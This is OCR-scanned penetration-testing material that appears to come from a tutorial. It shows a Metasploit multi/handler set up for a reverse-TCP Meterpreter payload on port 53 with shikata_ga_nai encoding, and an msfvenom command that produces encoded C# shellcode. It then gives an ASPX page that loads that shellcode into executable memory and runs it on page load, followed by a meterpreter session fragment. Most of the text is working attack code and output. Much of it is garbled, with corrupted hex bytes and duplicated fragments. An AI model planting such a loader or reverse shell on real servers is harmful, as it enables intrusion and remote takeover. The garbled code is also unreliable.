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msf auxiliary(server/socks4a) > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_uuid

payload => windows/meterpreter/reverse_tcp_uuid
msf exploit(multi/handler) > set lhost 192.168.1.5
lhost => 192.168.1.5

msf exploit(multi/handler) > set Iport 53

I[port => 53

msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai

stageencoder => x86/shikata_ga_nai

msf exploit(multi/handler) > set EnableStageEncoding true

EnableStageEncoding => true

msf exploit(multi/handler) > set exitonsession false
exitonsession => false

msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp_uuid):

Name  Current Setting Required Description

EXITFUNC process yes  Exit technique (Accepted: ",

LHOST 192.168.15 yes  The listen address
LPORT 53 yes  The listen port

Exploit target:

Id Name

0 Wildcard Target

seh, thread, process, none)



msf exploit(multi/handler) > exploit -j -z

andler
terpretersreverse_tcp uuid

= zet lport 53
set stageencoder kata ga nai
t EnableStageEncoding true

) = set exitonsession false

on == false
¥ploit{multi/handler} = show options

Module options (exploit/multishandler):

Mame Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp_uuid):
Name Current Setting Required Description
Exit technique (accepted: '', seh, thread, process, none)
The 1is
The listen port
Exploit target:
Id Mame

@ Wildcard Target

o _ ] -7
ound job 1.

payload4Ff :

root@John:/tmp# msfvenom -a x86 -p windows/meterpreter/reverse_tcp_uuid
LHOST=192.168.1.5 LPORT=53 EnableStageEncoding=true
stageencoder=x86/shikata_ga_nai -e x86/shikata_ga_nai -i 5 -f csharp
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant
OpenSSL:SSL:SSLContext:METHODS is deprecated

No platform was selected, choosing Msf:Module:Platform:Windows from the payload
Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 401 (iteration=0)

x86/shikata_ga_nai succeeded with size 428 (iteration=1)

x86/shikata_ga_nai succeeded with size 455 (iteration=2)

x86/shikata_ga_nai succeeded with size 482 (iteration=3)

x86/shikata_ga_nai succeeded with size 509 (iteration=4)

x86/shikata_ga_nai chosen with final size 509

Payload size: 509 bytes



Final size of csharp file: 2610 bytes

byte[] buf = new byte[509] {
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1,
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3,
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba,
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8¢c,0x2a,0x94,0xc2,0x85,0x87,0xbc,
0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae,
Oxff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c,
0x19,0x12,0x09,0x98,0x38,0x3e,0x6¢,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5,
0Oxa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd 2,
0x7a,0x6b,0xel,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93,
0x4a,0xel,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76,
0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55,
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21,
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c,
Oxcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xal,0xad,
Oxac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24,
0Oxcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b,
Oxbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8,
0x38,0x7¢,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42,
Ox1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9¢,0xa2,0xcO,
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34,
0Oxal,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44,
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65,
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xeb,
Oxfa,0x6c¢,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8,
0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f,
0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a,
0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67,
0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09,
0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6¢,0x28,0x81,0x29,0x5d,
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc,
Oxe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70,
Oxfe,0x87,0x58,0x2¢,0x4b,0x8¢,0x2d,0x56,0x21,0x4a,0xbf 0x45,0x8c,0xd9,0x%e,
0Oxa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 };
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<3[d Page Language="CH" AutoEventWireup="true” Inherits="System.Web.UI.Page" %>
<%[@ Import Namespace="3System" %>
<30 Import Namespace="3ystem.Runtime.Interoplervices"™ %>
<SCript runat=rserwver">
delegate int MafpayloadProc () :
protected void Page Load{object sender, Eventlrgs e

i

byte[] codeEvytes %{

0xd9, Oxce, 0xdS, 0x74, 0x24, 0xfd, 0x5a,0xb8,0x76,0xle, O0x3d, 0x54 , 0xZb, 0xe9 , 0xbl,
O0x79,0x83,0xc2, 0x04,0x31,0x42 ,0x15,0x03,0x42,0x15,0x94, 0xeb, 0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7h,0xa0, 0xae, Oxab, O0x4a, 0x£9, 0x23, 022, 0xa3,
Ox05,0x£2,0x58,0xa8d,0x£6,0x52 ,0xk7,0xaf, 0x3d,0x591,0x7c,0x580,0x648,0xd5, Oxba,
O0x3k,0x5a,0xda, 0xb6, 0xca, 0xcdS, Oxeb, 0x0d, OxSce, Ox2a, 0x94, 0xc2 , 0x55,0x587, Oxbo,
Ox25,0xdl,0xce, 0x6d, 0xfe, Oxc0, 0xE£6, 058, OxOL, 0x15, 080,017, 0x5E, Oxas, Oxas,
Oxff,0x22,0x6kb, 0x6hb, 0x46, 0x14, 0xde, 0x66, 0x50, Oxch, Ox1£, 029, 0x00, 0427, Oxdc,
0x19,0x12,0x08,0x98, 0x358,0x3e, 0xb6c, 0xa , 0x22 ,0x60, 0xbE, 0x99 , 0xdb, Oxe? , 0xc5,
OxaZ, 0x46,0x158,0xbd, Oxcd, Oxae, 0xd7 ,0x52 ,0xe3 , 0xbd, Oxfe, 0x40,0x353 ,0xE6, 0xd2
Ox7a,0x6b,0xel, 0x2f, 0xf9, 0x4bh, 0x8b, 0xc3 ,, 0x57 , 0x26, 0xfe, OxEd, 0x91,0xE7  0x95,
Ox4s,0xel, 0x585,0x%xeh,0x658,0x16,0x42 ,0xc9, 0xet, Oxac, Oxef, 0x25,0x05,0x436,0x76,
Ox1k,0xa3,0xb3,0xe9,0xbhE,0xla, 0x56,0x3e, 0xde, 0x4d, 0x£3,0x9E, 0x1b,0x0%, 0x55,
O0x63,0x07,0xa3,0x59,0xbhe,0x57,0x%ad,0x72,0x553,0x6h, 0x£f,0x42,0x10,0x47,0x21,
O0x51,0xkbE,0x0e,0x958, 0xec, 0x03,0xa3, 09, 0x90, 0xa3, 0x15, 0xcd, Ox7d, 0x587, 0x5c,
Oxed, Oxfe, 0x32,0xea, 011,083,014, 020, 0xe8, 0x02, 036,085, 0xeld, 0xal, Oxad,
Oxac, 0x46, 0x19, 0x9£, 004, 0x76, 001,041, 0x3d, 0x3a, 0x7d, 080, 0xal , 0xde, Ox24,
Oxch,0x6b,0xe?,0xc9, 0xcS, 0xad, 0x01,0x17,0xb3,0x3a, 0xd9,0x5e, 0x9b,0x13 ,0x7h,
Oxbf,0x49,0xf3,0xa9, 0x71,0x57,0x49 ,0x54, 0x60,0x32,0xf4, 0x4de, O0xfa, 0x76, 0xE5,
Ox38,0x7c,0xb7,0x6h, 0xac, O0xcl, 0x27 ,0x6h, 0xae, 0x80,0x10, 055,098, 061, 0x42,
Oxle,0xle, 0xb0,0x58,0x6h,0xfEf, 0x92 ,0%68, 0xas5,0x29,0x45,0x99, 0x9c, 0xa2 , OxcO,
OxE9,0x53,0x03,0x4b,0x76,0x72,0x17,0%60,0x3d,0xd5,0x11,0xce, 0xc0,0xed, 0x34,
Oxal,0x26,0x65, 0x98, 0x79,04E6, 055, 0x92 ,0x41,0x04, Oxa0, 0xE0, 0x3d, 0XE1, 0xd4,
Oxh9,0x63,0x42,0x1a, 0xac, Oxad, 0x67,0x95, 0x5E, 0x27, 0x73,0xdd, 0x54,0x61,0x65,
Oxdl, 0x72,0xeE, 0x0f, 0x8a, 0xd3 , 0x80, 0%6a, Oxed, 0xE6, Ox44d, 0x2E, Oxla, Ox6a, Oxed,
Oxfa,0xée, 0xalb, 0x958, 054, 0x47, 0x54, 0xbE, 0x&6, 0x78, Ox£d, 0x40, 0x10, 062, 0xel,
Oxcl,0x953,0xad,0x80, 0xb9, 0x37, 0xd4c, 047, 0x7h,0x61, 0xcl,0x44,0x153, 017, 0x7E,
OxaZ , 0x73,0xcd,0x76, 0x5E,0x2a, 0x95,0x92 ,0x3e, 0x09, 0xa3 ,0x60,0xeb, 0x431 , 0x1la,
Oxfd, 0xch,0x6f,0x96, 0xch, 0x3e, 0xf0,0xda, 0xeh6, Oxle, Oxle, Oxbae, O0xal, 0xad , 0x677,
O0x7h, 0xde , Oxe2 ,0x43,0xf1,0xee, 0x3b,0x93 ,0xbS,0x95,0x29,0x01,0x97,0x58c, 0x09,
O0x72,0xee, 0x78,0x1a,0x13,0x60,0x%a6,0xac, 0x05,0x599, 0x6c, 025,051, 0%25,0x5d,
O0x37,0x89,0x28,0x3d,0xkhE,0x0e,0xc?,0xeh, 0x9L, 0x44, 0x1d, 0xb3,0x4d,0x15, 0xbo,
OxeZ, 0x22,0xba,0xb3,0x86,0x43 ,0x3e,0x46, 0xcS, 0x0d, Oxba, 0x87, 0xd5, 0x6d, 0x70,
Oxfe,0x87,0x58, 0x20, 0xdb, OxSe, 0x2d, 056, 0x21, 0xda, OxbE, Ox45, OxSe, 0xdAD, Ox2e,
Oxal, Oxed, 0x20,0x6k, 0x7L, 0xfh, 0xd0, 0xle, 0x88,0x13, 0x6e,0x11, 0xeD, 0xdD }:
IntPtr handle = IntPtr.Zero;

handle = Virtualllloc|

Tat+ Tl Fmame
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meterpreter = ipconfig

Hardware MAC :
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OO0 MT Metwork Connection
Hardware MA
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meterpreter =
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5 : Source code

<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.
Page" %>

<%@ Import Namespace="System" %>

<%@ Import Namespace="System.Runtime.InteropServices" %>



4 <script runat="server">
5 delegate int MsfpayloadProc();

6 protected void Page Load(object sender, EventArgs e)

T A
8 byte[] buf = codeBytes[509] {

9
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9, Oxt
1,

10
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x"
e,

11
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0xd4a,0xf9,0x23,0x2f, Ox:
3,

12
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8, Oxt
a,

13
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0x!
c,

14
0x25,0xd1,0x6e,0x64,0xfe,0xcO,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa, Ox:
e,

15
Oxff,0x22,0x6b,0x6b,0x46,0x14,0x4C,0Xx66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x:
c,

16
0x19,0x12,0x09,0x98,0x38,0x3e,0x6C,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0x
5,

17
0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xX(
2,

18
Ox7a,0x6b,0xel,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x!
3,

19
Ox4a,0xel,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x"
6,

20
0x1b,0xa3,0xb9,0xe9,0xbf,0xla,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x!
5,

21
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0X.
1,

22
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x!
c,

23
Oxcd,oxfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xal, Ox:
d,



24
Oxac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0xde, 0x.
4,
25
Oxcb,0x6b,0xe7,0xc9,0xc8,0xad,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x"
b,
26
Oxbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0x"
8,
27
0x38,0x7c,0xb7,0x6b,0xac,0xcl,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x:
2,
28
Oxle,0xle,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2, Ox!
9,
29
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xcO,0xe6,0x!:
4,
30
0xal,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1l, Ox¢
4,
31
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61, Oxt¢
5,
32
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a, 0x¢
6,
3
Oxfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62, Ox¢
8,
34
OxCc0O,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xcl,0x44,0x13,0x17,0x"
f,
35
0xa2,0x73,0xcd,0x76,0x5F,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x:
a,
36
OxfT4,0xcb,0x6f,0x96,0xc6,0x3c,0xT0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0d,0x64,0xt
7,
37
0x7b,0xdc,0xe2,0x43,0xf1l,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8C, OxX¢
9,
38
OXx72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6C,0x28,0x81,0x29,0x!
d,
39
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a, Oxt
c,
40
0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d, 0x’
9,



41
Oxfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9, Ox!
e,

42 @Xa0,0xed,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd¢
¥

43 IntPtr handle = IntPtr.Zero;

44 handle = VirtualAlloc(

45  IntPtr.Zero,

46 codeBytes.LlLength,

47 MEM_COMMIT | MEM_RESERVE,

48  PAGE_EXECUTE_READWRITE);

49  try

50 |

51  Marshal.Copy(codeBytes, 0@, handle, codeBytes.Length);
52  MsfpayloadProc msfpayload

53 = Marshal.GetDelegateForFunctionPointer(handle,
typeof(MsfpayloadProc)) as MsfpayloadProc;

54 msfpayload();

55 }
56 finally
57 |

58 VirtualFree(handle, @, MEM_RELEASE);

59 }

60 }

61 [DllImport("Kernel32.d1ll", EntryPoint = "VirtualAlloc")]

62 public static extern IntPtr VirtualAlloc(IntPtr address, int size, uj
nt allocType, uint protect);

63 [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]

64 public static extern bool VirtualFree(IntPtr address, int size, uint
freeType);

65 ~const uint MEM_COMMIT = 0x1000;
66 ~const uint MEM_RESERVE = 0x2000,;
67 const uint PAGE_EXECUTE_READWRITE = 0©x40;
68 const uint MEM_RELEASE = 0x8000;

69 </script>
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